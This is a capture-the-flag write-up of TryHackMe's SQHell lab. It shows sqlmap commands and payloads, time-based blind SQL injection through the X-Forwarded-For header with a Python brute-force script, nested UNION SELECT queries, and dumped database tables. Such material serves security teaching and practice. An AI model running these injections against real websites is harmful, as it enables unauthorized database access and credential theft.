TryHackMe - SQHell
Give the machine a minute to boot and then connect to http://$IP
There are 5 flags to find but you have to defeat the different SQL injection types.
Hint: Unless displayed on the page the flags are stored in the flag table in the flag column.
Title | SQHell |
---|---|
Difficulty | Medium |
Author | tryhackme |
Tags | web, mysql, sql injection, sqli |
Enumeration
Open web-browser and route to the URL http://sqhell.thm
Press Ctrl+U
to view the source:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<!DOCTYPE html>
<html lang="en">
<head>
<title>Home</title>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link
rel="stylesheet"
href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"
integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u"
crossorigin="anonymous"
/>
</head>
<body>
<div class="pull-right" style="padding:15px">
<a href="/login" class="btn btn-success">Login</a>
<a href="/register" class="btn btn-info">Register</a>
</div>
<div class="container" style="padding-top:60px">
<h1 class="text-center">My Blog</h1>
<div class="row">
<div class="col-md-8 col-md-offset-2">
<div class="panel panel-default">
<div class="panel-heading">
Second Post : by <a href="/user?id=1">admin</a>
</div>
<div class="panel-body">
Etiam sit amet est in lacus ullamcorper luctus. Aliquam erat
volutpat. Aliquam diam enim, consequat eget dui nec, congue porta
enim. Integer venenatis dignissim erat, non elementum ante
tincidunt a. Proin congue faucibus odio, at condimentum nibh hen
[<a href="/post?id=2">Read More</a>]
</div>
</div>
<div class="panel panel-default">
<div class="panel-heading">
First Post : by <a href="/user?id=1">admin</a>
</div>
<div class="panel-body">
Lorem ipsum dolor sit amet, consectetur adipiscing elit. In id
mollis quam. Quisque quis enim eu velit dapibus dignissim quis id
dolor. Sed volutpat, magna ut venenatis egestas, diam velit
hendrerit nisl, ac suscipit lacus tortor ut nisi. Vestibulum [<a
href="/post?id=1"
>Read More</a
>]
</div>
</div>
</div>
</div>
<div class="text-center">
<a href="/terms-and-conditions">Terms & Conditions</a>
</div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script
src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"
integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa"
crossorigin="anonymous"
></script>
</body>
</html>
Verify that there are 2 params that are potentially vulnerable with the SQL Injection such as:
/user?id=1
/post?id=1
/post?id=2
Moreover, the /login
and /register
attributes are also injectable too within their submit form.
Click the Login button > Enter a random pair of creds > Click Login to submit the form > Capture the request to view the sent data format:
Meanwhile, the /register
function is different: Click the Register button > Fill in the form and click Register to submit. However, it says ‘Registrations are no longer open’:
But when I inspect the network traffic of the page, I capture these things:
These requests is established by the javascript following from the source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
$('input[name="username"]').keyup(function () {
$(".userstatus").html("");
let username = $(this).val();
$.getJSON("/register/user-check?username=" + username, function (resp) {
if (resp.available) {
$(".userstatus").css("color", "#80c13d");
$(".userstatus").html("Username available");
} else {
$(".userstatus").css("color", "#F00");
$(".userstatus").html("Username already taken");
}
});
});
Therefore, the request param /register/user-check?username=
might be injectable too.
Exploit
I will use the sqlmap as the primary tool to enumerate and extract data from the target server database.
Flag 5
Start with the param /user?id=1
┌──(kali㉿kali)-[~/TryHackMe/sqhell]
└─$ sqlmap -u http://sqhell.thm/user?id=1 --batch --dbs --dump
[...]
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 5124=5124
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=1;SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 9663 FROM (SELECT(SLEEP(5)))AtZr)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-5902 UNION ALL SELECT CONCAT(0x716b716b71,0x65594b6f53665378507362797352764b715469764669596b7266594d7a566d636d73475056707a71,0x7162787171),NULL,NULL-- -
---
[...]
[08:32:51] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] sqhell_4
[...]
Database: sqhell_4
Table: users
[1 entry]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1 | password | admin |
+----+----------+----------+
Do the same with param /post?id=1
(same meaning with the /post?id=2
):
┌──(kali㉿kali)-[~/TryHackMe/sqhell]
└─$ sqlmap -u http://sqhell.thm/post?id=1 --batch --dbs --dump
[...]
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1354=1354
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=1 AND GTID_SUBSET(CONCAT(0x71626a6b71,(SELECT (ELT(6747=6747,1))),0x716b626b71),6747)
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=1;SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 8595 FROM (SELECT(SLEEP(5)))dcru)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: id=-6095 UNION ALL SELECT NULL,NULL,CONCAT(0x71626a6b71,0x51576e6d79514c68484e4658587a77466a597958767a70465571684b677967544e5a59466c577973,0x716b626b71),NULL-- -
---
[...]
Database: sqhell_5
Table: flag
[1 entry]
+----+---------------------------------------------+
| id | flag |
+----+---------------------------------------------+
| 1 | THM{FLAG5:[REDACTED]} |
+----+---------------------------------------------+
[...]
Database: sqhell_5
Table: users
[1 entry]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1 | password | admin |
+----+----------+----------+
I get the flag 5 and the user’s creds. However, when I submit the creds in the login form, it does not work as I expected
Flag 3 & Flag 1
Next, I keep dumping the data from the 2 submit forms of /login
and /register
. According to the result, these submit forms are only injectable by the time-based blind vulnerability. Therefore, it will take a long time for the process:
┌──(kali㉿kali)-[~/TryHackMe/sqhell]
└─$ sqlmap -u http://sqhell.thm/login --data="username=admin&password=password" --dbs --dump-all --batch
[...]
sqlmap identified the following injection point(s) with a total of 95 HTTP(s) requests:
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 7437 FROM (SELECT(SLEEP(5)))KizG) AND 'Dnnc'='Dnnc&password=password
---
[...]
[08:40:43] [INFO] retrieved: sqhell_2
available databases [2]:
[*] information_schema
[*] sqhell_2
[...]
Database: sqhell_2
Table: users
[1 entry]
+----+---------------------------------+----------+
| id | password | username |
+----+---------------------------------+----------+
| 1 | [REDACTED] | admin |
+----+---------------------------------+----------+
┌──(kali㉿kali)-[~/TryHackMe/sqhell]
└─$ sqlmap -u http://sqhell.thm/register/user-check?username=guest --batch --dbs --dump-all
[...]
sqlmap identified the following injection point(s) with a total of 97 HTTP(s) requests:
---
Parameter: username (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=guest' AND (SELECT 1613 FROM (SELECT(SLEEP(5)))Uqqk) AND 'Snhx'='Snhx
---
[...]
[08:47:26] [INFO] retrieved: sqhell_3
available databases [2]:
[*] information_schema
[*] sqhell_3
Database: sqhell_3
Table: users
[1 entry]
+----+---------------------------------+----------+
| id | password | username |
+----+---------------------------------+----------+
| 1 | [REDACTED] | admin |
+----+---------------------------------+----------+
[...]
Database: sqhell_3
Table: flag
[1 entry]
+----+---------------------------------------------+
| id | flag |
+----+---------------------------------------------+
| 1 | THM{FLAG3:[REDACTED]} |
+----+---------------------------------------------+
One more time, I use the new password found to login again on the /login
page and it works!
Flag 2
Read the Terms & Conditions from the target application, I focus on this line which could help me to inject the database:
iii: We log your IP address for analytics purposes
Researching for awhile, I find out that this is relevant to the Host Header Injection. To easily understand this vulnerability, I will perform the injection with my python script to log the response time based on the Time-based blind type.
Start with a normal request:
1
2
3
4
5
6
7
import requests
url = "http://sqhell.thm/"
response = requests.post(url)
print(response.elapsed.total_seconds())
The response time is about 0.5 ms:
┌──(kali㉿kali)-[~/TryHackMe/sqhell]
└─$ python3 flag2.py
0.505435
From here, I append the headers value within my time-based blind payload:
1
2
3
4
5
6
7
8
9
import requests
url = "http://sqhell.thm/"
header = {"X-forwarded-for": "' UNION SELECT SLEEP(5),2,3#"}
response = requests.post(url, headers=header)
print(response.elapsed.total_seconds())
And capture the response time:
┌──(kali㉿kali)-[~/TryHackMe/sqhell]
└─$ python3 flag2.py
5.507326
The response time is now up to 5ms as which I have specified in the header script → The payload worked! Then, I modify the payload to include the flag’s characters like this:
1
2
3
4
5
6
7
8
9
import requests
url = "http://sqhell.thm/"
header = {"X-forwarded-for": "' UNION SELECT SLEEP(5),2,3 FROM flag where flag like 'THM%'#"}
response = requests.post(url, headers=header)
print(response.elapsed.total_seconds())
┌──(kali㉿kali)-[~/TryHackMe/sqhell]
└─$ python3 flag2.py
5.506915
So here is the logic: I will randomly input every single alphanumeric characters inside the THM{}
and capture which response will take time up to 5ms → The correct character in the flag.
import requests
import string
url = "http://sqhell.thm/"
characters = string.digits + string.ascii_uppercase
flag = "THM{FLAG2:"
# Observe the total characters in 43
while len(flag) < 43:
for i in characters:
payload = "' UNION SELECT SLEEP(3),2,3 FROM flag where flag like '{}".format(flag) + "{}%'".format(i) + "#"
header = {"X-forwarded-for": payload}
response = requests.post(url, headers=header)
# Set the response time to capture the correct characters
res_time = response.elapsed.total_seconds()
# Add the correct character into flag
if res_time > 3.0:
flag += i
print("Temp flag: THM{{FLAG2:{}".format(flag))
print("Final Flag: {}".format(flag) + "}")
And the result:
┌──(kali㉿kali)-[~/TryHackMe/sqhell]
└─$ python3 flag2.py
Temp flag: THM{FLAG2:THM{FLAG2:C
Temp flag: THM{FLAG2:THM{FLAG2:C6
Temp flag: THM{FLAG2:THM{FLAG2:C67
Temp flag: THM{FLAG2:THM{FLAG2:C678
[...]
Final flag: THM{FLAG2:[REDACTED]}
Additionally, the sqlmap can solve this by appending the flag --header
as following:
┌──(kali㉿kali)-[~/TryHackMe/sqhell]
└─$ sqlmap -u http://sqhell.thm/ --header="X-forwarded-for:1*" --dbs --dump-all --batch
[...]
sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests:
---
Parameter: X-forwarded-for #1* ((custom) HEADER)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: 1' AND (SELECT 2846 FROM (SELECT(SLEEP(5)))coCQ) AND 'hCxe'='hCxe
---
[...]
available databases [2]:
[*] information_schema
[*] sqhell_1
[...]
Database: sqhell_1
Table: flag
[1 entry]
+----+---------------------------------------------+
| id | flag |
+----+---------------------------------------------+
| 1 | THM{FLAG2:[REDACTED]} |
+----+---------------------------------------------+
Flag 4
The FLAG 4 could be found using the SQL Inception technique which means query in query.
Let’s get back to the path /user?id=1
:
Base on the result of the sqlmap dumping earlier, this param is also vulnerable with the UNION QUERY and the Boolean-based blind type. This time, I will base on the boolean-based blind vulnerability to extract the data.
If I modify the user id as 1 to 0 (or any other numbers), the application will response with an error:
But when I append the UNION SELECT query within the correct numbers of column required, it will correctly response within these values:
Now I use the SQL Inception technique to insert one more UNION SELECT query:
/user?id=0 UNION SELECT "0 UNION SELECT 1,2,3",2,3#
As the result, the application still responses the interface as above, but the Posts section has missed the relevant values (First Post, Second Post). This might be the affected from incorrect numbers of column required. Therefore, I append more column into the inside UNION SELECT query as below:
/user?id=0 UNION SELECT "0 UNION SELECT 1,2,3,4",2,3#
It’s back even the bullet list is not the same as before, but there is something there so I can observe that the query is ok. Before digging into the database, I want to verify which column’s number is presented for the 2 in the bullet list below the Posts section, so I modify 1 of 4 number inside the query to a character:
/user?id=0 UNION SELECT "0 UNION SELECT 1,'A',3,4",2,3#
After verifying that the 2 number in the query is represented for the 2 number in the bullet list, I will next retrieve the tables from the database:
/user?id=0 UNION SELECT "0 UNION SELECT 1,table_name,3,4 FROM INFORMATION_SCHEMA.TABLES",2,3#
So I have detected the table flag exists. I now modify the query to extract the column name:
/user?id=0 UNION SELECT "0 UNION SELECT 1,colum_name,3,4 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flag'",2,3#
Now, just simply replace the number 2 in the query to the column name as flag and get the flag:
/user?id=0 UNION SELECT "0 UNION SELECT 1,flag,3,4 FROM flag",2,3#